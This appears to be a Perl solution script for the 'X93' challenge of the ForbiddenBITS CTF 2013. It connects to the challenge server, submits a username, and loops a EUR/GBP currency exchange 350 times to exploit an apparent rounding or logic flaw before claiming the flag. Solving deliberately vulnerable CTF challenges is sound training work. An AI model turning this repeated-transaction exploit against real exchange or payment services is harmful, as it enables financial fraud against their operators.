#!/usr/bin/perl -w # ForbiddenBITS CTF 2013 # X93 Challenge use IO::Socket::INET; $| = 1; $socket = new IO::Socket::INET ( PeerHost => '95.170.83.28', PeerPort => '3003', Proto => 'tcp', ) or die "ERROR in Socket Creation : $!\n"; print "CONNECT!\n"; $i = 0; while ($data = <$socket>) { print "$data"; ## Really Wanna Trade with us ? yes/no if ($data =~ m/Really Wanna/) { print "ANSWERING YES...\n"; print $socket "yes\n"; } ## Enter Username : if ($data =~ m/Username/) { print "SENDING USERNAME...\n"; print $socket "1338-offbyone\n"; } ## end of main menu if ($data =~ m/restricted area/) { print "TRANSFERING MONEY...\n"; ## EXCHANGE 100 EUR --> 100 GBP --> 100 EUR, 350 times if ($i++ < 350) { if (($i % 2) == 0) { print $socket "2\n"; print $socket "GBP\n"; print $socket "EUR\n"; print $socket "100\n"; } else { print $socket "2\n"; print $socket "EUR\n"; print $socket "GBP\n"; print $socket "100\n"; } ## FINALLY EXCHANGE 5000 USD } else { print $socket "2\n"; print $socket "USD\n"; print $socket "EUR\n"; print $socket "5000\n"; ## AND GET THE FLAG :) print $socket "4\n"; } } } $socket->close();